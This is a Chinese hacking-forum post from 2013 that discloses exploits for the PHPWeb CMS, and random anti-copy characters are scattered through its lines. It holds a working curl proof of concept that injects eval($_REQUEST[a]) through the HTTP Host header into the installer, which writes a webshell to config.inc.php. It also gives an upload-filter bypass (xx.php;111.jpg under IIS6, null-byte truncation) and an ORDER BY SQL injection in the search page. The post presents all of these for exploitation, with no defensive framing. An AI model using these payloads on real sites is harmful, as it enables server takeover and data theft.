找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2372|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:& t$ f% _, h: V1 T% w3 i6 B

+ h* h4 l# z0 ?; B6 S  N0 ]5 Z之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
4 T3 J7 K  D9 T+ q
: R, d. I# Q# i鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件( D& w) e# d- [' A. M0 h" B2 ~
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
' g+ e2 F1 c1 }5 N( H/ E 6 g# ~6 E/ ]. _- c: [
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响9 q) _+ G9 |8 {7 Q3 c4 M% {  P

6 k* q4 T! a- [8 E" s分析:1 r% l3 u" ]) P: t( r

+ O" A( Y+ Y3 z
7 B$ e+ Z$ W8 l$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤$ `3 r' ?) h3 F2 }' h. G

+ ~6 g" [# |' U: H! ?! I                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);1 J( M. c( c% Z& P) \& X; o" ]
                                            $filestr=str_replace(" ","",$filestr);6 {& R9 f  B' h( g0 w/ `/ j0 y
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
( L3 T7 N$ _$ M( x                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
! D0 |& s% C, R2 v3 x. _# D                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);. a! k9 Z9 U5 d' v
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);2 t3 ?. b3 N; C2 _5 ^
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);9 |& V: |" j2 v+ [
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
) U3 g) a6 m. T' F: n                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
) r. A! s2 {$ N% `6 H+ i
7 w' e3 m, _+ e" w( @; ]' }* B" Q                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
' V7 T4 ^# w. {2 a% u$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^+ V* N& O4 S5 M8 ~  H" q/ H- I
& t' d3 ^1 g5 @8 c1 r
poc:( Y- R7 n9 i. D4 L& t
, w1 t" _8 A3 a- N# k1 _
?
* M3 j$ o3 K" t& {- m1
  }2 |9 ~/ W' K  U# f0 @/ @4 Acurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"2 T! d. L* i8 p! z5 A; Y
shell地址: /config.inc.php
( C; n* `' K! `2 c跟之前的 phpcms一样 需要远程数据库* x7 j8 P; m1 p$ `. Q

$ T6 s7 u% D; |——————————————————–" J* t7 C) z8 M
上传漏洞(需要进后台):3 b7 \4 `2 X9 M5 f- `0 S; P' g
漏洞文件: /kedit/upload_cgi/upload.php
  I& _* N! u' |这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
  P6 D( o& @+ z# e- G. g6 ?* b
, t* `  ]; `" R5 d ) [! l- T3 Q7 y. n& [
<?php
% h, a* F7 |' p: j    define("ROOTPATH", "../../");+ X7 o; k4 H# v7 w+ r8 f) |9 v
    include(ROOTPATH."includes/admin.inc.php");
! J0 ^1 s1 c4 I4 F8 a; l    NeedAuth(0);
4 M$ U/ V/ z2 V, T, O7 X
2 ]9 s1 F, y* _# R  G/ ~6 R& k$ p( Z    $dt=date("Ymd",time());0 W' w/ z) y$ Q7 R5 L
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
5 Y+ P9 w  k: `3 B            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
  ~1 f/ D* l' c7 \    }
9 i% z# I  p  e+ d. | ' j) K. S( ~- B& E3 ^' E& r' C
    //文件保存目录路径0 A7 M: X' ^9 D: Q
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';( j: ], c& `- I! n$ B  g
    echo $save_path;2 A% }  @1 j# ~/ W: A4 T
    //文件保存目录URL5 K1 ?2 [# o& Q- G9 [
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';0 V9 a% ]( k/ X0 T3 T! q
( o1 r2 K$ ?1 p! X9 T
    //定义允许上传的文件扩展名$ w" {$ C% N  V
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
, t. d4 t* i1 Q( } 0 D& r9 b+ P. _" T% k2 {3 |
    //最大文件大小- q7 a, G. h6 g1 `0 P( z8 W
    $max_size = 1000000;
- @& E- w+ S& ^/ }, F ( ?- }7 G- ]0 @5 [( E
    //更改目录权限
9 S( [4 |7 I) v    @mkdir($save_path, 0777);, t  E& O; i$ H, Y  `. \% W: B1 X

, f; p7 S) c% O) C" s8 I    //文件的全部路径
  ]/ m/ r9 Y0 ?0 M* K    $file_path = $save_path.$_POST['fileName'];   //保存文件名4 H" X5 S1 J( x! y: ]5 a
/ C" s( z; g3 h4 c: X) q# \2 x( d
    //文件URL
8 m( O$ s. F* F( B    $file_url = $save_url.$_POST['fileName'];
% ?8 g6 Z8 y  b& ?' I) \//有上传文件时) Q3 a+ b6 r$ E
    if (empty($_FILES) === false) {
3 c; }' u: G" [2 N9 Q * |) M1 o& f* q4 t& `' P
            //原文件名
# A8 ~2 [6 `0 H& M$ u4 T            $file_name = $_FILES['fileData']['name'];
8 ^: a# |6 X6 p, w# ~8 q+ d            //服务器上临时文件名
  S9 N* p$ {( P5 w' u2 N! j8 N% X            $tmp_name = $_FILES['fileData']['tmp_name'];0 E- T9 R# \* J1 H/ y* G6 f
            //文件大小
$ z" ?8 I) T: S3 B* O  R% Q1 G0 i            $file_size = $_FILES['fileData']['size'];8 A  L/ P& g) y! _/ w5 j2 e& l' a9 {
            //检查目录
5 u  L8 g2 g$ o0 E9 m( h            if (@is_dir($save_path) === false) {2 {, ]8 D* i' y3 K* }" E
                    alert("上传目录不存在。");
$ ~4 z6 O  m0 U            }" V* D. J4 k. N  [
            //检查目录写权限) \8 O+ v+ S0 D& o# v$ {
            if (@is_writable($save_path) === false) {
. j$ T1 j" S% ]2 v7 _( m  ^$ s                    alert("上传目录没有写权限。");0 b$ |' v) F, F7 \0 Y. |0 r/ r
            }
2 w$ V  q+ W1 r6 c6 p( w- [1 {7 `7 j            //检查是否已上传
8 v" R6 {, s: p" A0 P: L1 f: K( i            if (@is_uploaded_file($tmp_name) === false) {2 [0 ~1 ?$ ^% S; g
                    alert("临时文件可能不是上传文件。");
% z0 ~9 l8 ~+ ?+ b3 Z            }! {5 x3 q7 N4 X4 z. U2 m+ Q& e6 d& Y
            //检查文件大小
& s/ {- l% g6 I% L4 X" |8 S0 m            if ($file_size > $max_size) {* l, T* w! C1 x( L
                    alert("上传文件大小超过限制。");. o, T, t( c( y
            }
# F; k  {9 J0 A: @0 K* N0 D            //获得文件扩展名, \" C, x. k0 e- x1 T
            $temp_arr = explode(".", $_POST['fileName']);3 n3 R7 l& t; f) h5 N( w. F" S6 B
            $file_ext = array_pop($temp_arr);! t; q8 _2 o6 N
            $file_ext = trim($file_ext);4 A1 y! C! T+ f9 d( ?- c
            $file_ext = strtolower($file_ext);
. G2 r: ~. o+ u5 W) Q
6 u( m( [! t  L" `. [# v* K$ q7 |            //检查扩展名   6 l* \# g3 z7 J% I( t: x
            if (in_array($file_ext, $ext_arr) === false) {     
# u$ m. i5 _5 `- D5 n1 U                    alert("上传文件扩展名是不允许的扩展名。");3 m+ E$ w0 z+ O
            }: I: e' L* _  @5 H: o9 Y: Q+ [/ ?% ]
" S; B; P# N. _: q# I
            //移动文件     K0 Z' d" m( B& I
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^- i  j4 k. Z4 }) q- i9 z
            if (move_uploaded_file($tmp_name, $file_path) === false) {
/ ^3 s# y3 p$ s5 _3 }                    alert("上传文件失败。");
! G; |! r* l: b            }+ h  Y/ x1 s& @; d$ p; e
9 b0 Z8 L: \" q" _% o) l
            @chmod($file_path,0666);
4 e8 }+ \5 t+ t  Y
( x% y0 s( b$ \7 m% P- J+ }: ~    ?># ^/ R5 n% F6 U# O% ?2 k, D, G
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
' ?, ~+ f% Z1 X  L# @9 h+ r- S0 T 5 l9 u4 g2 }/ U* z
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过0 i3 J8 ~  N6 Y! g( \/ Z3 P
! r% J# \% z6 n& b
——————————————————
8 F- P: U& m% p+ ]注入漏洞:. q3 l1 Z/ g) o
漏洞文件:search/module/search.php
! l8 ]8 g0 t- T6 x& |/search/index.php?key=1&myord=1 [sqlinjection]
) @8 W/ X3 `) Z& [
; Y( c4 Q# {8 N. @3 \& @# n
" f% C  E: V) E( I# g<?php+ P, @% y: _; i% ^+ o
   //       ... 省略 n 行...( ~8 n( ~- f4 H) u7 g. G
   //第18行:; I) I7 r5 P- l# O/ M$ v1 F
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
9 d  ^  x9 g4 N           $page=htmlspecialchars($_GET["page"]);8 J6 }0 E2 T4 @2 |" y2 s4 }
           $myord=htmlspecialchars($_GET["myord"]);* Q) D, `5 \" A" a
% d; [9 P' v" e
   //       ... 省略 n 行..., E1 C0 I! m; v9 I5 g% U! r
   $key,$myord 两个参数带入查询
2 x3 a5 E/ }7 O   //第47行 $key:+ {/ I( F  k" Q1 M

( j, g1 z9 y3 `8 x4 M   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..0 n2 g* e+ Z% }+ b
+ l* r( {* Y2 ], U
   //第197行 $myord
: m; o4 a) ?" {" c  t4 p   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
- `, S3 D+ B: {! y( v- W 2 J: n/ h- v9 B3 T2 Q* ~
   ?>0 c3 G% `6 }' G+ q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表